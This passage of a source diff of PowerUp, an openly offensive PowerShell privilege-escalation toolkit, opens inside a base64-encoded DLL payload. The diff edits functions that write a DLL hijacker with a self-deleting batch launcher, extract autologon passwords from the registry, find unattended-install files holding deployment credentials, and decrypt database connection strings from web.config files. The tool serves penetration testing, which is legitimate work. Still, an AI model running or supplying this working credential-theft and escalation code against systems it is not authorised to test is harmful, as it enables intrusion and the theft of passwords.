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nQKdIp1CnkKsArgiuEK4YriCuKK4wrjiuQK5IrliuYK5ornCueK6AroiukK6YrqCuqK64rsCuyK7Qrtiu4K7orvCuAK8IryCvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" - if($PSBoundParameters['Architecture']) { + if ($PSBoundParameters['Architecture']) { $TargetArchitecture = $Architecture } - elseif($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64') { + elseif ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64') { $TargetArchitecture = 'x64' } else { $TargetArchitecture = 'x86' } - if($TargetArchitecture -eq 'x64') { + if ($TargetArchitecture -eq 'x64') { [Byte[]]$DllBytes = [Byte[]][Convert]::FromBase64String($DllBytes64) } else { [Byte[]]$DllBytes = [Byte[]][Convert]::FromBase64String($DllBytes32) } - if($PSBoundParameters['BatPath']) { + if ($PSBoundParameters['BatPath']) { $TargetBatPath = $BatPath } else { @@ -2673,7 +3204,6 @@ function Write-HijackDll { 'start /b "" cmd /c del "%~f0"&exit /b' | Out-File -Encoding ASCII -Append $TargetBatPath Write-Verbose ".bat launcher written to: $TargetBatPath" - Set-Content -Value $DllBytes -Encoding Byte -Path $DllPath Write-Verbose "$TargetArchitecture DLL Hijacker written to: $DllPath" @@ -2682,6 +3212,7 @@ function Write-HijackDll { $Out | Add-Member Noteproperty 'Architecture' $TargetArchitecture $Out | Add-Member Noteproperty 'BatLauncherPath' $TargetBatPath $Out | Add-Member Noteproperty 'Command' $BatCommand + $Out.PSObject.TypeNames.Insert(0, 'PowerUp.HijackableDLL') $Out } @@ -2694,90 +3225,110 @@ function Write-HijackDll { function Get-RegistryAlwaysInstallElevated { <# - .SYNOPSIS +.SYNOPSIS - Checks if any of the AlwaysInstallElevated registry keys are set. +Checks if any of the AlwaysInstallElevated registry keys are set. - .DESCRIPTION +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +Returns $True if the HKLM:SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated +or the HKCU:SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated keys +are set, $False otherwise. If one of these keys are set, then all .MSI files run with +elevated permissions, regardless of current user permissions. + +.EXAMPLE + +Get-RegistryAlwaysInstallElevated - Returns $True if the HKLM:SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated - or the HKCU:SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated keys - are set, $False otherwise. If one of these keys are set, then all .MSI files run with - elevated permissions, regardless of current user permissions. +Returns $True if any of the AlwaysInstallElevated registry keys are set. - .EXAMPLE +.OUTPUTS - PS C:\> Get-RegistryAlwaysInstallElevated +System.Boolean - Returns $True if any of the AlwaysInstallElevated registry keys are set. +$True if RegistryAlwaysInstallElevated is set, $False otherwise. #> + [OutputType('System.Boolean')] [CmdletBinding()] Param() $OrigError = $ErrorActionPreference - $ErrorActionPreference = "SilentlyContinue" + $ErrorActionPreference = 'SilentlyContinue' - if (Test-Path "HKLM:SOFTWARE\Policies\Microsoft\Windows\Installer") { + if (Test-Path 'HKLM:SOFTWARE\Policies\Microsoft\Windows\Installer') { - $HKLMval = (Get-ItemProperty -Path "HKLM:SOFTWARE\Policies\Microsoft\Windows\Installer" -Name AlwaysInstallElevated -ErrorAction SilentlyContinue) + $HKLMval = (Get-ItemProperty -Path 'HKLM:SOFTWARE\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated -ErrorAction SilentlyContinue) Write-Verbose "HKLMval: $($HKLMval.AlwaysInstallElevated)" if ($HKLMval.AlwaysInstallElevated -and ($HKLMval.AlwaysInstallElevated -ne 0)){ - $HKCUval = (Get-ItemProperty -Path "HKCU:SOFTWARE\Policies\Microsoft\Windows\Installer" -Name AlwaysInstallElevated -ErrorAction SilentlyContinue) + $HKCUval = (Get-ItemProperty -Path 'HKCU:SOFTWARE\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated -ErrorAction SilentlyContinue) Write-Verbose "HKCUval: $($HKCUval.AlwaysInstallElevated)" if ($HKCUval.AlwaysInstallElevated -and ($HKCUval.AlwaysInstallElevated -ne 0)){ - Write-Verbose "AlwaysInstallElevated enabled on this machine!" + Write-Verbose 'AlwaysInstallElevated enabled on this machine!' $True } else{ - Write-Verbose "AlwaysInstallElevated not enabled on this machine." + Write-Verbose 'AlwaysInstallElevated not enabled on this machine.' $False } } else{ - Write-Verbose "AlwaysInstallElevated not enabled on this machine." + Write-Verbose 'AlwaysInstallElevated not enabled on this machine.' $False } } else{ - Write-Verbose "HKLM:SOFTWARE\Policies\Microsoft\Windows\Installer does not exist" + Write-Verbose 'HKLM:SOFTWARE\Policies\Microsoft\Windows\Installer does not exist' $False } - $ErrorActionPreference = $OrigError } function Get-RegistryAutoLogon { <# - .SYNOPSIS +.SYNOPSIS - Finds any autologon credentials left in the registry. +Finds any autologon credentials left in the registry. - .DESCRIPTION +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None - Checks if any autologon accounts/credentials are set in a number of registry locations. - If they are, the credentials are extracted and returned as a custom PSObject. +.DESCRIPTION - .EXAMPLE +Checks if any autologon accounts/credentials are set in a number of registry locations. +If they are, the credentials are extracted and returned as a custom PSObject. - PS C:\> Get-RegistryAutoLogon +.EXAMPLE - Finds any autologon credentials left in the registry. +Get-RegistryAutoLogon - .LINK +Finds any autologon credentials left in the registry. + +.OUTPUTS + +PowerUp.RegistryAutoLogon - https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/windows_autologin.rb +Custom PSObject containing autologin credentials found in the registry. + +.LINK + +https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/windows_autologin.rb #> + [OutputType('PowerUp.RegistryAutoLogon')] [CmdletBinding()] Param() $AutoAdminLogon = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AutoAdminLogon -ErrorAction SilentlyContinue) - Write-Verbose "AutoAdminLogon key: $($AutoAdminLogon.AutoAdminLogon)" if ($AutoAdminLogon -and ($AutoAdminLogon.AutoAdminLogon -ne 0)) { @@ -2797,6 +3348,7 @@ function Get-RegistryAutoLogon { $Out | Add-Member Noteproperty 'AltDefaultDomainName' $AltDefaultDomainName $Out | Add-Member Noteproperty 'AltDefaultUserName' $AltDefaultUserName $Out | Add-Member Noteproperty 'AltDefaultPassword' $AltDefaultPassword + $Out.PSObject.TypeNames.Insert(0, 'PowerUp.RegistryAutoLogon') $Out } } @@ -2804,24 +3356,36 @@ function Get-RegistryAutoLogon { function Get-ModifiableRegistryAutoRun { <# - .SYNOPSIS +.SYNOPSIS - Returns any elevated system autoruns in which the current user can - modify part of the path string. +Returns any elevated system autoruns in which the current user can +modify part of the path string. - .DESCRIPTION +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None - Enumerates a number of autorun specifications in HKLM and filters any - autoruns through Get-ModifiablePath, returning any file/config locations - in the found path strings that the current user can modify. +.DESCRIPTION + +Enumerates a number of autorun specifications in HKLM and filters any +autoruns through Get-ModifiablePath, returning any file/config locations +in the found path strings that the current user can modify. - .EXAMPLE +.EXAMPLE - PS C:\> Get-ModifiableRegistryAutoRun +Get-ModifiableRegistryAutoRun - Return vulneable autorun binaries (or associated configs). +Return vulneable autorun binaries (or associated configs). + +.OUTPUTS + +PowerUp.ModifiableRegistryAutoRun + +Custom PSObject containing results. #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerUp.ModifiableRegistryAutoRun')] [CmdletBinding()] Param() @@ -2852,6 +3416,7 @@ function Get-ModifiableRegistryAutoRun { $Out | Add-Member Noteproperty 'Key' "$ParentPath\$Name" $Out | Add-Member Noteproperty 'Path' $Path $Out | Add-Member Noteproperty 'ModifiableFile' $_ + $Out.PSObject.TypeNames.Insert(0, 'PowerUp.ModifiableRegistryAutoRun') $Out } } @@ -2869,25 +3434,37 @@ function Get-ModifiableRegistryAutoRun { function Get-ModifiableScheduledTaskFile { <# - .SYNOPSIS +.SYNOPSIS + +Returns scheduled tasks where the current user can modify any file +in the associated task action string. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None - Returns scheduled tasks where the current user can modify any file - in the associated task action string. +.DESCRIPTION - .DESCRIPTION +Enumerates all scheduled tasks by recursively listing "$($ENV:windir)\System32\Tasks" +and parses the XML specification for each task, extracting the command triggers. +Each trigger string is filtered through Get-ModifiablePath, returning any file/config +locations in the found path strings that the current user can modify. - Enumerates all scheduled tasks by recursively listing "$($ENV:windir)\System32\Tasks" - and parses the XML specification for each task, extracting the command triggers. - Each trigger string is filtered through Get-ModifiablePath, returning any file/config - locations in the found path strings that the current user can modify. +.EXAMPLE - .EXAMPLE +Get-ModifiableScheduledTaskFile - PS C:\> Get-ModifiableScheduledTaskFile +Return scheduled tasks with modifiable command strings. - Return scheduled tasks with modifiable command strings. +.OUTPUTS + +PowerUp.ModifiableScheduledTaskFile + +Custom PSObject containing results. #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerUp.ModifiableScheduledTaskFile')] [CmdletBinding()] Param() @@ -2901,7 +3478,7 @@ function Get-ModifiableScheduledTaskFile { try { $TaskName = $_.Name $TaskXML = [xml] (Get-Content $_.FullName) - if($TaskXML.Task.Triggers) { + if ($TaskXML.Task.Triggers) { $TaskTrigger = $TaskXML.Task.Triggers.OuterXML @@ -2911,6 +3488,7 @@ function Get-ModifiableScheduledTaskFile { $Out | Add-Member Noteproperty 'TaskName' $TaskName $Out | Add-Member Noteproperty 'TaskFilePath' $_ $Out | Add-Member Noteproperty 'TaskTrigger' $TaskTrigger + $Out.PSObject.TypeNames.Insert(0, 'PowerUp.ModifiableScheduledTaskFile') $Out } @@ -2920,6 +3498,7 @@ function Get-ModifiableScheduledTaskFile { $Out | Add-Member Noteproperty 'TaskName' $TaskName $Out | Add-Member Noteproperty 'TaskFilePath' $_ $Out | Add-Member Noteproperty 'TaskTrigger' $TaskTrigger + $Out.PSObject.TypeNames.Insert(0, 'PowerUp.ModifiableScheduledTaskFile') $Out } } @@ -2928,29 +3507,43 @@ function Get-ModifiableScheduledTaskFile { Write-Verbose "Error: $_" } } - $ErrorActionPreference = $OrigError } function Get-UnattendedInstallFile { <# - .SYNOPSIS +.SYNOPSIS - Checks several locations for remaining unattended installation files, - which may have deployment credentials. +Checks several locations for remaining unattended installation files, +which may have deployment credentials. - .EXAMPLE +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None - PS C:\> Get-UnattendedInstallFile +.EXAMPLE - Finds any remaining unattended installation files. +Get-UnattendedInstallFile - .LINK +Finds any remaining unattended installation files. + +.LINK - http://www.fuzzysecurity.com/tutorials/16.html +http://www.fuzzysecurity.com/tutorials/16.html + +.OUTPUTS + +PowerUp.UnattendedInstallFile + +Custom PSObject containing results. #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerUp.UnattendedInstallFile')] + [CmdletBinding()] + Param() + $OrigError = $ErrorActionPreference $ErrorActionPreference = "SilentlyContinue" @@ -2969,6 +3562,7 @@ function Get-UnattendedInstallFile { $SearchLocations | Where-Object { Test-Path $_ } | ForEach-Object { $Out = New-Object PSObject $Out | Add-Member Noteproperty 'UnattendPath' $_ + $Out.PSObject.TypeNames.Insert(0, 'PowerUp.UnattendedInstallFile') $Out } @@ -2978,74 +3572,89 @@ function Get-UnattendedInstallFile { function Get-WebConfig { <# - .SYNOPSIS +.SYNOPSIS + +This script will recover cleartext and encrypted connection strings from all web.config +files on the system. Also, it will decrypt them if needed. + +Author: Scott Sutherland, Antti Rantasaari +License: BSD 3-Clause +Required Dependencies: None - This script will recover cleartext and encrypted connection strings from all web.config - files on the system. Also, it will decrypt them if needed. +.DESCRIPTION - Author: Scott Sutherland - 2014, NetSPI - Author: Antti Rantasaari - 2014, NetSPI +This script will identify all of the web.config files on the system and recover the +connection strings used to support authentication to backend databases. If needed, the +script will also decrypt the connection strings on the fly. The output supports the +pipeline which can be used to convert all of the results into a pretty table by piping +to format-table. - .DESCRIPTION +.EXAMPLE - This script will identify all of the web.config files on the system and recover the - connection strings used to support authentication to backend databases. If needed, the - script will also decrypt the connection strings on the fly. The output supports the - pipeline which can be used to convert all of the results into a pretty table by piping - to format-table. +Return a list of cleartext and decrypted connect strings from web.config files. - .EXAMPLE +Get-WebConfig - Return a list of cleartext and decrypted connect strings from web.config files. +user : s1admin +pass : s1password +dbserv : 192.168.1.103\server1 +vdir : C:\test2 +path : C:\test2\web.config +encr : No - PS C:\> Get-WebConfig - user : s1admin - pass : s1password - dbserv : 192.168.1.103\server1 - vdir : C:\test2 - path : C:\test2\web.config - encr : No +user : s1user +pass : s1password +dbserv : 192.168.1.103\server1 +vdir : C:\inetpub\wwwroot +path : C:\inetpub\wwwroot\web.config +encr : Yes - user : s1user - pass : s1password - dbserv : 192.168.1.103\server1 - vdir : C:\inetpub\wwwroot - path : C:\inetpub\wwwroot\web.config - encr : Yes +.EXAMPLE - .EXAMPLE +Return a list of clear text and decrypted connect strings from web.config files. - Return a list of clear text and decrypted connect strings from web.config files. +Get-WebConfig | Format-Table -Autosize - PS C:\>get-webconfig | Format-Table -Autosize +user pass dbserv vdir path encr +---- ---- ------ ---- ---- ---- +s1admin s1password 192.168.1.101\server1 C:\App1 C:\App1\web.config No +s1user s1password 192.168.1.101\server1 C:\inetpub\wwwroot C:\inetpub\wwwroot\web.config No +s2user s2password 192.168.1.102\server2 C:\App2 C:\App2\test\web.config No +s2user s2password 192.168.1.102\server2 C:\App2 C:\App2\web.config Yes +s3user s3password 192.168.1.103\server3 D:\App3 D:\App3\web.config No - user pass dbserv vdir path encr - ---- ---- ------ ---- ---- ---- - s1admin s1password 192.168.1.101\server1 C:\App1 C:\App1\web.config No - s1user s1password 192.168.1.101\server1 C:\inetpub\wwwroot C:\inetpub\wwwroot\web.config No - s2user s2password 192.168.1.102\server2 C:\App2 C:\App2\test\web.config No - s2user s2password 192.168.1.102\server2 C:\App2 C:\App2\web.config Yes - s3user s3password 192.168.1.103\server3 D:\App3 D:\App3\web.config No +.OUTPUTS - .LINK +System.Boolean - https://github.com/darkoperator/Posh-SecMod/blob/master/PostExploitation/PostExploitation.psm1 - http://www.netspi.com - https://raw2.github.com/NetSPI/cmdsql/master/cmdsql.aspx - http://www.iis.net/learn/get-started/getting-started-with-iis/getting-started-with-appcmdexe - http://msdn.microsoft.com/en-us/library/k6h9cz8h(v=vs.80).aspx +System.Data.DataTable - .NOTES +.LINK - Below is an alterantive method for grabbing connection strings, but it doesn't support decryption. - for /f "tokens=*" %i in ('%systemroot%\system32\inetsrv\appcmd.exe list sites /text:name') do %systemroot%\system32\inetsrv\appcmd.exe list config "%i" -section:connectionstrings +https://github.com/darkoperator/Posh-SecMod/blob/master/PostExploitation/PostExploitation.psm1 +http://www.netspi.com +https://raw2.github.com/NetSPI/cmdsql/master/cmdsql.aspx +http://www.iis.net/learn/get-started/getting-started-with-iis/getting-started-with-appcmdexe +http://msdn.microsoft.com/en-us/library/k6h9cz8h(v=vs.80).aspx + +.NOTES + +Below is an alterantive method for grabbing connection strings, but it doesn't support decryption. +for /f "tokens=*" %i in ('%systemroot%\system32\inetsrv\appcmd.exe list sites /text:name') do %systemroot%\system32\inetsrv\appcmd.exe list config "%i" -section:connectionstrings + +Author: Scott Sutherland - 2014, NetSPI +Author: Antti Rantasaari - 2014, NetSPI #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingInvokeExpression', '')] + [OutputType('System.Boolean')] + [OutputType('System.Data.DataTable')] [CmdletBinding()] Param() $OrigError = $ErrorActionPreference - $ErrorActionPreference = "SilentlyContinue" + $ErrorActionPreference = 'SilentlyContinue' # Check if appcmd.exe exists if (Test-Path ("$Env:SystemRoot\System32\InetSRV\appcmd.exe")) { @@ -3054,15 +3663,15 @@ function Get-WebConfig { $DataTable = New-Object System.Data.DataTable # Create and name columns in the data table - $Null = $DataTable.Columns.Add("user") - $Null = $DataTable.Columns.Add("pass") - $Null = $DataTable.Columns.Add("dbserv") - $Null = $DataTable.Columns.Add("vdir") - $Null = $DataTable.Columns.Add("path") - $Null = $DataTable.Columns.Add("encr") + $Null = $DataTable.Columns.Add('user') + $Null = $DataTable.Columns.Add('pass') + $Null = $DataTable.Columns.Add('dbserv') + $Null = $DataTable.Columns.Add('vdir') + $Null = $DataTable.Columns.Add('path') + $Null = $DataTable.Columns.Add('encr') # Get list of virtual directories in IIS - C:\Windows\System32\InetSRV\appcmd.exe list vdir /text:physicalpath | + C:\Windows\System32\InetSRV\appcmd.exe list vdir /text:physicalpath | ForEach-Object { $CurrentVdir = $_ @@ -3071,7 +3680,7 @@ function Get-WebConfig { if ($_ -like "*%*") { $EnvarName = "`$Env:"+$_.split("%")[1] $EnvarValue = Invoke-Expression $EnvarName - $RestofPath = $_.split("%")[2] + $RestofPath = $_.split('%')[2] $CurrentVdir = $EnvarValue+$RestofPath } @@ -3088,18 +3697,17 @@ function Get-WebConfig { if ($ConfigFile.configuration.connectionStrings.add) { # Foreach connection string add to data table - $ConfigFile.configuration.connectionStrings.add| + $ConfigFile.configuration.connectionStrings.add| ForEach-Object { [String]$MyConString = $_.connectionString - if($MyConString -like "*password*") { - $ConfUser = $MyConString.Split("=")[3].Split(";")[0] - $ConfPass = $MyConString.Split("=")[4].Split(";")[0] - $ConfServ = $MyConString.Split("=")[1].Split(";")[0] + if ($MyConString -like '*password*') { + $ConfUser = $MyConString.Split('=')[3].Split(';')[0] + $ConfPass = $MyConString.Split('=')[4].Split(';')[0] + $ConfServ = $MyConString.Split('=')[1].Split(';')[0] $ConfVdir = $CurrentVdir - $ConfPath = $CurrentPath - $ConfEnc = "No" - $Null = $DataTable.Rows.Add($ConfUser, $ConfPass, $ConfServ,$ConfVdir,$CurrentPath, $ConfEnc) + $ConfEnc = 'No' + $Null = $DataTable.Rows.Add($ConfUser, $ConfPass, $ConfServ, $ConfVdir, $CurrentPath, $ConfEnc) } } } @@ -3112,7 +3720,7 @@ function Get-WebConfig { if (Test-Path ($AspnetRegiisPath.FullName)) { # Setup path for temp web.config to the current user's temp dir - $WebConfigPath = (Get-Item $Env:temp).FullName + "\web.config" + $WebConfigPath = (Get-Item $Env:temp).FullName + '\web.config' # Remove existing temp web.config if (Test-Path ($WebConfigPath)) { @@ -3136,17 +3744,15 @@ function Get-WebConfig { $TMPConfigFile.configuration.connectionStrings.add | ForEach-Object { [String]$MyConString = $_.connectionString - if($MyConString -like "*password*") { - $ConfUser = $MyConString.Split("=")[3].Split(";")[0] - $ConfPass = $MyConString.Split("=")[4].Split(";")[0] - $ConfServ = $MyConString.Split("=")[1].Split(";")[0] + if ($MyConString -like '*password*') { + $ConfUser = $MyConString.Split('=')[3].Split(';')[0] + $ConfPass = $MyConString.Split('=')[4].Split(';')[0] + $ConfServ = $MyConString.Split('=')[1].Split(';')[0] $ConfVdir = $CurrentVdir - $ConfPath = $CurrentPath $ConfEnc = 'Yes' - $Null = $DataTable.Rows.Add($ConfUser, $ConfPass, $ConfServ,$ConfVdir,$CurrentPath, $ConfEnc) + $Null = $DataTable.Rows.Add($ConfUser, $ConfPass, $ConfServ, $ConfVdir, $CurrentPath, $ConfEnc) } } - } else { Write-Verbose "Decryption of $CurrentPath failed." @@ -3162,9 +3768,9 @@ function Get-WebConfig { } # Check if any connection strings were found - if( $DataTable.rows.Count -gt 0 ) { 